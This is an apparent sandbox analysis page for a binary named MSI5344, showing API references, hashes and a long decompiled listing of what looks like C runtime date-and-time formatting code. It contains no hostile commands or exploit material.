Function 00007FF7AF6E5574 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 644COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AF6E28A0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E28B5
Part of subcall function 00007FF7AF6E28A0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E28DA
Part of subcall function 00007FF7AF6E28A0: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E2904
Part of subcall function 00007FF7AF6E28A0: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E299C

Part of subcall function 00007FF7AF6D9E00: LocalAlloc.KERNEL32 ref: 00007FF7AF6D9EA2
Part of subcall function 00007FF7AF6D9E00: LocalFree.KERNEL32 ref: 00007FF7AF6D9F2A

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6E5DE5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6E5DEB

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 00007FF7AF6E5614, 00007FF7AF6E5ADC

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Lockitstd::_$LocalLockit::_Lockit::~__invalid_parameter_noinfo_noreturn$AllocFree
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 2050940138-2799312399
Opcode ID: 08d8db3fed82e945f2a9d6e5bfebde1efad2ca8e3f508732a0ce3efa0b2fc364
Instruction ID: a891fa37e92799a53627e9e07388ddb50bfcc59eef7cbc26e0e178847f95088b
Opcode Fuzzy Hash: 08d8db3fed82e945f2a9d6e5bfebde1efad2ca8e3f508732a0ce3efa0b2fc364
Instruction Fuzzy Hash: FC52B223A0A6C1C9EB559F25C0503BCB767BB05B98BD66131CA5E477A5CF3ED862C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF718FF8 Relevance: 5.5, APIs: 3, Instructions: 1005
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 50%

			E00007FF77FF7AF718FF8(signed int __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, signed int** __r9, long long _a8, signed int _a16, long long _a24, long long _a32, long long* _a40, long long _a48, signed int _a56) {
				void* _v40;
				void* _v56;
				signed char _v72;
				long long _v80;
				signed short _v88;
				void* __rbp;
				signed char _t326;
				void* _t327;
				signed int _t375;
				signed int _t376;
				signed int _t389;
				signed int _t391;
				signed int _t392;
				intOrPtr _t393;
				void* _t395;
				signed int _t399;
				signed int _t400;
				signed int _t402;
				signed short _t411;
				signed int _t415;
				void* _t417;
				signed int _t419;
				signed int _t421;
				signed int _t449;
				signed int _t451;
				signed int _t465;
				signed int _t476;
				signed int _t495;
				signed int _t499;
				signed short _t509;
				signed int _t523;
				void* _t533;
				void* _t538;
				signed int _t545;
				signed int _t548;
				signed int _t551;
				signed int _t554;
				signed int _t558;
				signed int _t561;
				signed int _t564;
				signed int _t566;
				signed int _t573;
				signed int _t579;
				signed int _t583;
				signed int _t586;
				signed int _t589;
				signed int _t593;
				void* _t594;
				void* _t599;
				signed int _t602;
				signed int _t605;
				signed int _t608;
				signed int _t611;
				signed int _t615;
				signed int _t618;
				signed int _t620;
				void* _t621;
				signed int _t634;
				signed int _t637;
				signed int _t641;
				signed int* _t654;
				long long _t691;
				long long _t693;
				long long* _t710;
				long long* _t712;
				long long* _t713;
				char* _t715;
				long long* _t716;
				long long* _t732;
				long long* _t734;
				long long* _t735;
				signed long long _t750;
				long long* _t757;
				signed int** _t759;
				void* _t762;
				void* _t765;
				signed int** _t794;
				signed int** _t795;
				signed int** _t797;
				signed int** _t799;
				void* _t801;
				signed short* _t803;
				long long _t810;
				signed short* _t813;
				signed short _t817;
				signed short _t818;
				long long _t819;
				signed short _t820;
				signed short _t822;
				signed short _t823;
				signed short _t826;
				signed short _t827;

				_t741 = __rdx;
				_t693 = __rbx;
				_a8 = __rbx;
				_a24 = __rsi;
				_a32 = __rdi;
				_t762 = __r8;
				_t759 = __r9;
				r8d = __edx & 0x0000ffff;
				if (r8d - 0x5a <= 0) goto 0xaf71983c;
				_t533 = r8d - 0x6e;
				if (_t533 > 0) goto 0xaf71948d;
				if (_t533 == 0) goto 0xaf71944f;
				if (_t533 == 0) goto 0xaf7193eb;
				if (_t533 == 0) goto 0xaf71939a;
				if (_t533 == 0) goto 0xaf71919b;
				if (_t533 == 0) goto 0xaf719178;
				if (_t533 == 0) goto 0xaf719154;
				if (_t533 == 0) goto 0xaf7190f5;
				if (_t533 != 0) goto 0xaf719083;
				r8d = 0x62;
				goto 0xaf719036;
				if (_t533 == 0) goto 0xaf7190c9;
				if (0x60 != 3) goto 0xaf719448;
				if ( *((intOrPtr*)(__r8 + 0x10)) - 0xb > 0) goto 0xaf719438;
				asm("sbb dx, dx");
				_v88 = 0x20;
				E00007FF77FF7AF719EE0( *((intOrPtr*)(__r8 + 0x10)) + 1, 2, __rbx, __rdx, __r9, __r8, _t765, __r9, _a40);
				goto 0xaf719ebd;
				if ( *(__r8 + 0x1c) - 0x16d > 0) goto 0xaf719438;
				asm("sbb dx, dx");
				_v88 = 0x20;
				goto 0xaf7190b8;
				r14d =  *(__r8 + 0x14);
				if (__rcx + 0x76c - 0x270f > 0) goto 0xaf719438;
				r8d =  *(__r8 + 0x1c);
				_t538 = E00007FF77FF7AF718F04(r14d,  *((intOrPtr*)(__r8 + 0x18)), __rcx + 0x76c - 0x270f, _t693, __rcx, __rdx, __r8, __r9);
				if (_t538 != 0) goto 0xaf719123;
				r14d = r14d - 1;
				goto 0xaf719128;
				if (_t538 > 0) goto 0xaf719128;
				r14d = r14d + 1;
				_v88 = 0x30;
				goto 0xaf7190b3;
				if (__rcx - 1 - 0x1e > 0) goto 0xaf719438;
				_v88 = (_a56 ^ 0x00000001) << 0x00000005 & 0x000000ff;
				goto 0xaf7190b3;
				if (__rcx - 1 - 0x1e > 0) goto 0xaf719438;
				asm("sbb dx, dx");
				goto 0xaf7190ae;
				_t819 = _a48;
				if (_t819 != 0xaf73c540) goto 0xaf71932c;
				if (_a56 != 0) goto 0xaf71932c;
				_t822 = _a40;
				_t31 = _t693 + 0x61; // 0x61
				_v72 = 0;
				_v80 = _t819;
				_v88 = _t822;
				if (E00007FF77FF7AF718FF8(_t31, _t693, __rcx, __rdx, __r9, __r8, __r8, _a40) != 0) goto 0xaf7191ee;
				E00007FF77FF7AF70F830(0xaf73c540);
				 *0xaf73c540 = 0x16;
				goto 0xaf719448;
				_t803 = " ";
				if ( *_t822 == _t693) goto 0xaf71921c;
				r8d =  *_t803 & 0x0000ffff;
				_t545 = r8w;
				if (_t545 == 0) goto 0xaf71921c;
				 *( *_t759) = r8w;
				 *_t759 =  &(( *_t759)[0]);
				 *_t822 =  *_t822 - 1;
				if (_t545 != 0) goto 0xaf7191fd;
				_v72 = 0;
				_v80 = _t819;
				_v88 = _t822;
				if (E00007FF77FF7AF718FF8(0x62, _t693, __rcx, __rdx, _t759, _t762, _t762, _t759) == 0) goto 0xaf7191de;
				if ( *_t822 == _t693) goto 0xaf719265;
				_t449 =  *_t803 & 0x0000ffff;
				_t548 = _t449;
				if (_t548 == 0) goto 0xaf719265;
				 *( *_t759) = _t449;
				 *_t759 =  &(( *_t759)[0]);
				 *_t822 =  *_t822 - 1;
				if (_t548 != 0) goto 0xaf719249;
				_v72 = 0;
				_v80 = _t819;
				_v88 = _t822;
				if (E00007FF77FF7AF718FF8(0x65, _t693, __rcx, __rdx, _t759, _t762, _t762, _t759) == 0) goto 0xaf7191de;
				if ( *_t822 == _t693) goto 0xaf7192b2;
				_t451 =  *_t803 & 0x0000ffff;
				_t551 = _t451;
				if (_t551 == 0) goto 0xaf7192b2;
				 *( *_t759) = _t451;
				 *_t759 =  &(( *_t759)[0]);
				 *_t822 =  *_t822 - 1;
				if (_t551 != 0) goto 0xaf719296;
				_v72 = 0;
				_v80 = _t819;
				_v88 = _t822;
				if (E00007FF77FF7AF718FF8(0x54, _t693, __rcx, _t741, _t759, _t762, _t762, _t759) == 0) goto 0xaf7191de;
				if ( *_t822 == _t693) goto 0xaf7192fe;
				_t375 =  *_t803 & 0x0000ffff;
				_t554 = _t375;
				if (_t554 == 0) goto 0xaf7192fe;
				 *( *_t759) = _t375;
				 *_t759 =  &(( *_t759)[0]);
				 *_t822 =  *_t822 - 1;
				if (_t554 != 0) goto 0xaf7192e0;
				_v72 = 0;
				_v80 = _t819;
				_v88 = _t822;
				if (E00007FF77FF7AF718FF8(0x59, _t693, __rcx, _t741, _t759, _t762, _t762, _t759) != 0) goto 0xaf719ebd;
				goto 0xaf7191de;
				_t823 = _a40;
				_v80 = _t819;
				_v88 = _t823;
				if (E00007FF77FF7AF71A034(_a56 & 0x000000ff, _t693, __rcx, _t762, _t759, _t801) == 0) goto 0xaf7191de;
				if ( *_t823 == _t693) goto 0xaf71937b;
				_t376 = " " & 0x0000ffff;
				_t558 = _t376;
				if (_t558 == 0) goto 0xaf71937b;
				 *( *_t759) = _t376;
				 *_t759 =  &(( *_t759)[0]);
				 *_t823 =  *_t823 - 1;
				if (_t558 != 0) goto 0xaf71935d;
				_v80 = _t819;
				_t794 = _t759;
				_v88 = _t823;
				E00007FF77FF7AF71A034(2, _t693, __rcx, _t762, _t794, _t801);
				goto 0xaf71931f;
				if ( *(_t762 + 0x10) - 0xb > 0) goto 0xaf719438;
				_t710 = _a40;
				if ( *_t710 == _t693) goto 0xaf719ebd;
				r8d =  *( *(_a48 + 0x1d0 +  *(_t762 + 0x10) * 8)) & 0x0000ffff;
				_t561 = r8w;
				if (_t561 == 0) goto 0xaf719ebd;
				 *( *_t794) = r8w;
				 *_t794 =  &(( *_t794)[0]);
				 *_t710 =  *_t710 - 1;
				if (_t561 != 0) goto 0xaf7193c3;
				goto 0xaf719ebd;
				if ( *(_t762 + 0x18) - 6 > 0) goto 0xaf719438;
				_t712 = _a40;
				if ( *_t712 == _t693) goto 0xaf719ebd;
				r8d =  *( *(_a48 + 0x160 +  *(_t762 + 0x18) * 8)) & 0x0000ffff;
				_t564 = r8w;
				if (_t564 == 0) goto 0xaf719ebd;
				_t654 =  *_t794;
				 *_t654 = r8w;
				 *_t794 =  &(( *_t794)[0]);
				 *_t712 =  *_t712 - 1;
				if (_t564 != 0) goto 0xaf719410;
				goto 0xaf719ebd;
				E00007FF77FF7AF70F830(_t654);
				 *_t654 = 0x16;
				E00007FF77FF7AF70F6C4();
				goto 0xaf719ebf;
				_t713 = _a40;
				if ( *_t713 == _t693) goto 0xaf719ebd;
				r8d =  *0xaf739bec & 0x0000ffff;
				_t566 = r8w;
				if (_t566 == 0) goto 0xaf719ebd;
				 *( *_t794) = r8w;
				 *_t794 =  &(( *_t794)[0]);
				 *_t713 =  *_t713 - 1;
				if (_t566 != 0) goto 0xaf719465;
				goto 0xaf719ebd;
				if (_t566 == 0) goto 0xaf7197e1;
				if (_t566 == 0) goto 0xaf719697;
				if (_t566 == 0) goto 0xaf719659;
				if (_t566 == 0) goto 0xaf71961f;
				if (_t566 == 0) goto 0xaf71961f;
				if (_t566 == 0) goto 0xaf719604;
				if (_t566 == 0) goto 0xaf7195bc;
				if (0xffffffffffffff89 != 1) goto 0xaf719448;
				E00007FF77FF7AF72591C( *_t794);
				_a16 = 0;
				if (E00007FF77FF7AF725274( *_t794,  &_a16) != 0) goto 0xaf719438;
				if ( *((intOrPtr*)(_t762 + 0x20)) == 0) goto 0xaf719517;
				_t715 =  &_v56;
				_v56 = 0;
				if (E00007FF77FF7AF725244( *_t794, _t715) != 0) goto 0xaf719438;
				r8d = _a16;
				r8d = r8d + _v56;
				_a16 = r8d;
				goto 0xaf71951b;
				r8d = _a16;
				r9d = 0x88888889;
				asm("cdq");
				_t795 = _a40;
				r14d = _t715 + 0xaf739bec;
				r14d = r14d >> 5;
				r14d = r14d + (r14d >> 0x1f);
				r14d = r14d - ((__rcx + 0xaf739bec >> 5) + (__rcx + 0xaf739bec >> 5 >> 0x1f)) * 0x3c;
				_t808 =  <=  ? 0xaf739bf8 : "-";
				if ( *_t795 == _t693) goto 0xaf719597;
				_t465 =  *( <=  ? 0xaf739bf8 : "-") & 0x0000ffff;
				_t573 = _t465;
				if (_t573 == 0) goto 0xaf719597;
				 *( *_t759) = _t465;
				 *_t759 =  &(( *_t759)[0]);
				 *_t795 =  *_t795 - 1;
				if (_t573 != 0) goto 0xaf719579;
				_v88 = 0x30;
				_t89 = _t762 - 0x2e; // 0x2
				E00007FF77FF7AF719EE0((__rcx + 0xaf739bec >> 5) + (__rcx + 0xaf739bec >> 5 >> 0x1f), _t89, _t693, 0x7ff7af739bee, _t759, _t762, _t765, _t759, _t795);
				_v88 = 0x30;
				goto 0xaf7190bf;
				if ( *(_t762 + 0x14) + 0x76c - 0x270f > 0) goto 0xaf719438;
				asm("inc bp");
				r8w =  !r8w;
				r8w = r8w & 0x00000030;
				_v88 = r8w;
				goto 0xaf7190b3;
				_v80 = _a48;
				_v88 = _a40;
				goto 0xaf71938d;
				_t389 =  *(_t762 + 0x18);
				if (_t389 - 6 > 0) goto 0xaf719438;
				if (_t389 != 0) goto 0xaf71963b;
				if (r8w != 0x75) goto 0xaf71963b;
				asm("sbb dx, dx");
				_v88 =  !(_a56 & 0x000000ff) & 0x00000030;
				goto 0xaf7190b8;
				_t716 = _a40;
				if ( *_t716 == _t693) goto 0xaf719ebd;
				r8d =  *0xaf739bf4 & 0x0000ffff;
				_t579 = r8w;
				if (_t579 == 0) goto 0xaf719ebd;
				 *( *_t795) = r8w;
				 *_t795 =  &(( *_t795)[0]);
				 *_t716 =  *_t716 - 1;
				if (_t579 != 0) goto 0xaf71966f;
				goto 0xaf719ebd;
				_t810 = _a48;
				_v72 = _a56;
				_v80 = _t810;
				if (_t810 != 0xaf73c540) goto 0xaf7197ce;
				_t820 = _a40;
				_v88 = _t820;
				if (E00007FF77FF7AF718FF8(0x49, _t693, __rcx, 0x7ff7af739bf6, _t759, _t762, _t762, _t795) == 0) goto 0xaf7191de;
				if ( *_t820 == _t693) goto 0xaf719707;
				_t476 =  *0xaf739bf0 & 0x0000ffff;
				_t583 = _t476;
				if (_t583 == 0) goto 0xaf719707;
				 *( *_t759) = _t476;
				 *_t759 =  &(( *_t759)[0]);
				 *_t820 =  *_t820 - 1;
				if (_t583 != 0) goto 0xaf7196ea;
				_v72 = _a56;
				_v80 = _t810;
				_v88 = _t820;
				if (E00007FF77FF7AF718FF8(0x4d, _t693, __rcx, 0x7ff7af739bf6, _t759, _t762, _t762, _t759) == 0) goto 0xaf7191de;
				if ( *_t820 == _t693) goto 0xaf719757;
				_t391 =  *0xaf739bf0 & 0x0000ffff;
				_t586 = _t391;
				if (_t586 == 0) goto 0xaf719757;
				 *( *_t759) = _t391;
				 *_t759 =  &(( *_t759)[0]);
				 *_t820 =  *_t820 - 1;
				if (_t586 != 0) goto 0xaf719739;
				r15b = _a56;
				_v72 = r15b;
				_t797 = _t759;
				_v80 = _t810;
				_v88 = _t820;
				if (E00007FF77FF7AF718FF8(0x53, _t693, __rcx, 0x7ff7af739bf6, _t759, _t762, _t762, _t797) == 0) goto 0xaf7191de;
				if ( *_t820 == _t693) goto 0xaf7197b1;
				_t392 = " " & 0x0000ffff;
				_t589 = _t392;
				if (_t589 == 0) goto 0xaf7197b1;
				 *( *_t759) = _t392;
				 *_t759 =  &(( *_t759)[0]);
				 *_t820 =  *_t820 - 1;
				if (_t589 != 0) goto 0xaf719792;
				_v72 = r15b;
				_v80 = _a48;
				_v88 = _t820;
				goto 0xaf719311;
				_v88 = _a40;
				goto 0xaf71931a;
				if ( *((intOrPtr*)(_t762 + 8)) - 0x17 > 0) goto 0xaf719438;
				if ( *((intOrPtr*)(_t762 + 8)) - 0xb > 0) goto 0xaf7197fe;
				goto 0xaf719805;
				_t750 = _a40;
				if ( *_t750 == _t693) goto 0xaf719ebd;
				r8d =  *( *(_a48 + 0x298)) & 0x0000ffff;
				_t593 = r8w;
				if (_t593 == 0) goto 0xaf719ebd;
				 *( *_t797) = r8w;
				 *_t797 =  &(( *_t797)[0]);
				 *_t750 =  *_t750 - 1;
				if (_t593 != 0) goto 0xaf719814;
				goto 0xaf719ebd;
				if (_t593 == 0) goto 0xaf719e7a;
				r13d = 0x4d;
				_t594 = 0x58 - r13d;
				if (_t594 > 0) goto 0xaf719bd1;
				if (_t594 == 0) goto 0xaf719bc6;
				if (_t594 == 0) goto 0xaf719b88;
				if (_t594 == 0) goto 0xaf719b37;
				if (_t594 == 0) goto 0xaf719ae6;
				if (_t594 == 0) goto 0xaf719aa7;
				if (_t594 == 0) goto 0xaf7199e1;
				if (_t594 == 0) goto 0xaf719929;
				if (_t594 == 0) goto 0xaf7198db;
				if (_t594 == 0) goto 0xaf7198d0;
				if (0x10 != 1) goto 0xaf719448;
				_t393 =  *((intOrPtr*)(_t762 + 8));
				if (_t393 - 0x17 > 0) goto 0xaf719438;
				_t395 =  ==  ? _t820 - 0x41 : _t393 - (_t750 + _t750 * 2 << 2);
				goto 0xaf719187;
				goto 0xaf719181;
				r14d =  *(_t762 + 0x14);
				if (__rcx + 0x76c - 0x270f > 0) goto 0xaf719438;
				r8d =  *(_t762 + 0x1c);
				_t599 = E00007FF77FF7AF718F04(r14d,  *(_t762 + 0x18), __rcx + 0x76c - 0x270f, _t693,  &(( *(_a48 + 0x298))[1]), _t750, _t762, _t762);
				if (_t599 != 0) goto 0xaf719909;
				r14d = r14d - 1;
				goto 0xaf71990e;
				if (_t599 > 0) goto 0xaf71990e;
				r14d = r14d + 1;
				_v88 = 0x30;
				goto 0xaf7190b8;
				r13b = _a56;
				_t826 = _a40;
				_v72 = r13b;
				_v80 = _a48;
				_v88 = _t826;
				if (E00007FF77FF7AF718FF8(0x59, _t693,  &(( *(_a48 + 0x298))[1]), _t750, _t759, _t762, _t762, _t797) == 0) goto 0xaf7191de;
				_t813 = "-";
				if ( *_t826 == _t693) goto 0xaf719986;
				_t495 =  *_t813 & 0x0000ffff;
				_t602 = _t495;
				if (_t602 == 0) goto 0xaf719986;
				 *( *_t759) = _t495;
				 *_t759 =  &(( *_t759)[0]);
				 *_t826 =  *_t826 - 1;
				if (_t602 != 0) goto 0xaf71996a;
				_v72 = r13b;
				_v80 = _a48;
				_v88 = _t826;
				if (E00007FF77FF7AF718FF8(0x6d, _t693, __rcx, _t750, _t759, _t762, _t762, _t759) == 0) goto 0xaf7191de;
				if ( *_t826 == _t693) goto 0xaf7199d7;
				_t399 =  *_t813 & 0x0000ffff;
				_t605 = _t399;
				if (_t605 == 0) goto 0xaf7199d7;
				 *( *_t759) = _t399;
				 *_t759 =  &(( *_t759)[0]);
				 *_t826 =  *_t826 - 1;
				if (_t605 != 0) goto 0xaf7199b9;
				goto 0xaf719a94;
				r13b = _a56;
				_t827 = _a40;
				_v72 = r13b;
				_v80 = _a48;
				_v88 = _t827;
				if (E00007FF77FF7AF718FF8(0x6d, _t693, __rcx, _t750, _t759, _t762, _t762, _t759) == 0) goto 0xaf7191de;
				if ( *_t827 == _t693) goto 0xaf719a3e;
				_t499 =  *0xaf739be8 & 0x0000ffff;
				_t608 = _t499;
				if (_t608 == 0) goto 0xaf719a3e;
				 *( *_t759) = _t499;
				 *_t759 =  &(( *_t759)[0]);
				 *_t827 =  *_t827 - 1;
				if (_t608 != 0) goto 0xaf719a22;
				_v72 = r13b;
				_t799 = _t759;
				_v80 = _a48;
				_v88 = _t827;
				if (E00007FF77FF7AF718FF8(0x64, _t693, __rcx, _t750, _t759, _t762, _t762, _t799) == 0) goto 0xaf7191de;
				if ( *_t827 == _t693) goto 0xaf719a8f;
				_t400 =  *0xaf739be8 & 0x0000ffff;
				_t611 = _t400;
				if (_t611 == 0) goto 0xaf719a8f;
				 *( *_t759) = _t400;
				 *_t759 =  &(( *_t759)[0]);
				 *_t827 =  *_t827 - 1;
				if (_t611 != 0) goto 0xaf719a71;
				_v72 = r13b;
				_v80 = _a48;
				goto 0xaf71930c;
				_t402 =  *(_t762 + 0x14) + 0x76c;
				if (_t402 - 0x270f > 0) goto 0xaf719438;
				asm("inc bp");
				r8w =  !r8w;
				r8w = r8w & 0x00000030;
				goto 0xaf7195f9;
				if ( *(_t762 + 0x10) - 0xb > 0) goto 0xaf719438;
				_t732 = _a40;
				if ( *_t732 == _t693) goto 0xaf719ebd;
				r8d =  *( *(_a48 + 0x230 +  *(_t762 + 0x10) * 8)) & 0x0000ffff;
				_t615 = r8w;
				if (_t615 == 0) goto 0xaf719ebd;
				 *( *_t799) = r8w;
				 *_t799 =  &(( *_t799)[0]);
				 *_t732 =  *_t732 - 1;
				if (_t615 != 0) goto 0xaf719b0f;
				goto 0xaf719ebd;
				if ( *(_t762 + 0x18) - 6 > 0) goto 0xaf719438;
				_t734 = _a40;
				if ( *_t734 == _t693) goto 0xaf719ebd;
				r8d =  *( *(_a48 + 0x198 +  *(_t762 + 0x18) * 8)) & 0x0000ffff;
				_t618 = r8w;
				if (_t618 == 0) goto 0xaf719ebd;
				 *( *_t799) = r8w;
				 *_t799 =  &(( *_t799)[0]);
				 *_t734 =  *_t734 - 1;
				if (_t618 != 0) goto 0xaf719b60;
				goto 0xaf719ebd;
				_t735 = _a40;
				if ( *_t735 == _t693) goto 0xaf719ebd;
				r8d =  *0xaf739bfc & 0x0000ffff;
				_t620 = r8w;
				if (_t620 == 0) goto 0xaf719ebd;
				 *( *_t799) = r8w;
				 *_t799 =  &(( *_t799)[0]);
				 *_t735 =  *_t735 - 1;
				if (_t620 != 0) goto 0xaf719b9e;
				goto 0xaf719ebd;
				_t621 =  *((intOrPtr*)(_t762 + 4)) - 0x3b;
				goto 0xaf719181;
				if (_t621 == 0) goto 0xaf719e02;
				if (_t621 == 0) goto 0xaf719df8;
				if (_t621 == 0) goto 0xaf719d3b;
				if (_t621 == 0) goto 0xaf719ccc;
				if (_t621 == 0) goto 0xaf719c5b;
				if (_t621 == 0) goto 0xaf719ccc;
				_t509 = (0x51eb851f * _t402 >> 0x20) - 0x4c;
				if (_t621 == 0) goto 0xaf719c3f;
				if (_t509 != 1) goto 0xaf719448;
				if ( *(_t762 + 0x14) + 0x76c - 0x270f > 0) goto 0xaf719438;
				asm("sbb dx, dx");
				_v88 =  !_t509 & 0x00000030;
				goto 0xaf71991f;
				_v80 = _a48;
				_v88 = _a40;
				goto 0xaf719390;
				r14d =  *(_t762 + 0x18);
				r15d =  *(_t762 + 0x14);
				r8d =  *(_t762 + 0x1c);
				if (E00007FF77FF7AF718F04(r15d, r14d,  *(_t762 + 0x14) + 0x76c - 0x270f, _t693, _t735, 0x7ff7af739bfe, _t762, _t762) != 0) goto 0xaf719ca4;
				_t326 = E00007FF77FF7AF718EA4(_t827 - 1, E00007FF77FF7AF718F04(r15d, r14d,  *(_t762 + 0x14) + 0x76c - 0x270f, _t693, _t735, 0x7ff7af739bfe, _t762, _t762));
				r14d = r14d -  *(_t762 + 0x1c);
				_t411 = _t827 - 1;
				r8d = _t326 & 0x000000ff;
				r8d = r8d + 0x16d;
				_t327 = E00007FF77FF7AF718F04(_t411, 7 + r14d, E00007FF77FF7AF718F04(r15d, r14d,  *(_t762 + 0x14) + 0x76c - 0x270f, _t693, _t735, 0x7ff7af739bfe, _t762, _t762), _t693, _t735, 0x7ff7af739bfe, _t762, _t762);
				r10d = _t327;
				goto 0xaf719cb0;
				r10d = 1;
				r10d =  >  ? _t327 : r10d;
				asm("sbb cx, cx");
				_v88 =  !_t411 & 0x00000030;
				goto 0xaf7190b3;
				_t415 =  *(_t762 + 0x18);
				if (_t415 - 6 > 0) goto 0xaf719438;
				if (r8d != 0x57) goto 0xaf719ceb;
				if (_t415 != 0) goto 0xaf719ce9;
				_t210 = _t693 + 6; // 0x6
				goto 0xaf719ceb;
				_t417 = _t210 - 1;
				r8d =  *(_t762 + 0x1c);
				if (r8d - 0x16d > 0) goto 0xaf719438;
				if (r8d - _t417 < 0) goto 0xaf719d25;
				r8d = r8d - (((0x92492493 * r8d >> 0x20) + r8d >> 2) + ((0x92492493 * r8d >> 0x20) + r8d >> 2 >> 0x1f)) * 7;
				if (r8d - _t417 < 0) goto 0xaf719d25;
				asm("sbb dx, dx");
				goto 0xaf7190ae;
				_t817 = _a40;
				_v72 = _a56;
				_v80 = _a48;
				_v88 = _t817;
				if (E00007FF77FF7AF718FF8(0x48, _t693, _t735, 0x7ff7af739bfe, _t759, _t762, _t762, _t799) == 0) goto 0xaf7191de;
				if ( *_t817 == _t693) goto 0xaf719d98;
				_t523 =  *0xaf739bf0 & 0x0000ffff;
				_t634 = _t523;
				if (_t634 == 0) goto 0xaf719d98;
				 *( *_t759) = _t523;
				 *_t759 =  &(( *_t759)[0]);
				 *_t817 =  *_t817 - 1;
				if (_t634 != 0) goto 0xaf719d7b;
				r13b = _a56;
				_v72 = r13b;
				_v80 = _a48;
				_v88 = _t817;
				if (E00007FF77FF7AF718FF8(r13d, _t693, __rcx, 0x7ff7af739bfe, _t759, _t762, _t762, _t759) == 0) goto 0xaf7191de;
				if ( *_t817 == _t693) goto 0xaf719dec;
				_t419 =  *0xaf739bf0 & 0x0000ffff;
				_t637 = _t419;
				if (_t637 == 0) goto 0xaf719dec;
				 *( *_t759) = _t419;
				 *_t759 =  &(( *_t759)[0]);
				 *_t817 =  *_t817 - 1;
				if (_t637 != 0) goto 0xaf719dce;
				_v72 = r13b;
				goto 0xaf719e67;
				goto 0xaf719181;
				_t818 = _a40;
				_v72 = _a56;
				_v80 = _a48;
				_v88 = _t818;
				if (E00007FF77FF7AF718FF8(0x48, _t693, __rcx, 0x7ff7af739bfe, _t759, _t762, _t762, _t759) == 0) goto 0xaf7191de;
				if ( *_t818 == _t693) goto 0xaf719e5d;
				_t421 =  *0xaf739bf0 & 0x0000ffff;
				_t641 = _t421;
				if (_t641 == 0) goto 0xaf719e5d;
				 *( *_t759) = _t421;
				 *_t759 =  &(( *_t759)[0]);
				 *_t818 =  *_t818 - 1;
				if (_t641 != 0) goto 0xaf719e3f;
				_v72 = _a56;
				_t691 = _a48;
				_v80 = _t691;
				_v88 = _t818;
				goto 0xaf719311;
				E00007FF77FF7AF72520C(E00007FF77FF7AF72591C(_t691));
				asm("dec eax");
				_t757 = _a40;
				if ( *_t757 == _t693) goto 0xaf719ebd;
				r8d =  *( *(0x7ff7af739bfe + _t691)) & 0x0000ffff;
				if (r8w == 0) goto 0xaf719ebd;
				 *( *_t759) = r8w;
				 *_t759 =  &(( *_t759)[0]);
				 *_t757 =  *_t757 - 1;
				if ( *_t757 != 0) goto 0xaf719e9e;
				return 1;
			}

0x7ff7af718ff8
0x7ff7af718ff8
0x7ff7af718ff8
0x7ff7af718ffd
0x7ff7af719002
0x7ff7af719017
0x7ff7af71901a
0x7ff7af71901d
0x7ff7af71902b
0x7ff7af719036
0x7ff7af719039
0x7ff7af71903f
0x7ff7af719048
0x7ff7af719051
0x7ff7af71905a
0x7ff7af719063
0x7ff7af71906c
0x7ff7af719075
0x7ff7af71907a
0x7ff7af71907c
0x7ff7af719081
0x7ff7af719086
0x7ff7af71908b
0x7ff7af719097
0x7ff7af7190a2
0x7ff7af7190ae
0x7ff7af7190bf
0x7ff7af7190c4
0x7ff7af7190d2
0x7ff7af7190dd
0x7ff7af7190e7
0x7ff7af7190f3
0x7ff7af7190f5
0x7ff7af719105
0x7ff7af71910b
0x7ff7af71911a
0x7ff7af71911c
0x7ff7af71911e
0x7ff7af719121
0x7ff7af719123
0x7ff7af719125
0x7ff7af719140
0x7ff7af71914f
0x7ff7af71915d
0x7ff7af71916e
0x7ff7af719173
0x7ff7af719181
0x7ff7af71918c
0x7ff7af719196
0x7ff7af71919b
0x7ff7af7191ab
0x7ff7af7191b4
0x7ff7af7191ba
0x7ff7af7191be
0x7ff7af7191c1
0x7ff7af7191c8
0x7ff7af7191d0
0x7ff7af7191dc
0x7ff7af7191de
0x7ff7af7191e3
0x7ff7af7191e9
0x7ff7af7191ee
0x7ff7af7191fb
0x7ff7af7191fd
0x7ff7af719201
0x7ff7af719205
0x7ff7af71920e
0x7ff7af719212
0x7ff7af719216
0x7ff7af71921a
0x7ff7af71921c
0x7ff7af719225
0x7ff7af719230
0x7ff7af71923f
0x7ff7af719247
0x7ff7af719249
0x7ff7af71924c
0x7ff7af71924f
0x7ff7af719258
0x7ff7af71925b
0x7ff7af71925f
0x7ff7af719263
0x7ff7af719265
0x7ff7af71926e
0x7ff7af719279
0x7ff7af719288
0x7ff7af719294
0x7ff7af719296
0x7ff7af719299
0x7ff7af71929c
0x7ff7af7192a5
0x7ff7af7192a8
0x7ff7af7192ac
0x7ff7af7192b0
0x7ff7af7192b2
0x7ff7af7192bb
0x7ff7af7192c6
0x7ff7af7192d5
0x7ff7af7192de
0x7ff7af7192e0
0x7ff7af7192e5
0x7ff7af7192e8
0x7ff7af7192f1
0x7ff7af7192f4
0x7ff7af7192f8
0x7ff7af7192fc
0x7ff7af7192fe
0x7ff7af719307
0x7ff7af71930c
0x7ff7af719321
0x7ff7af719327
0x7ff7af71932c
0x7ff7af71933a
0x7ff7af71933f
0x7ff7af71934b
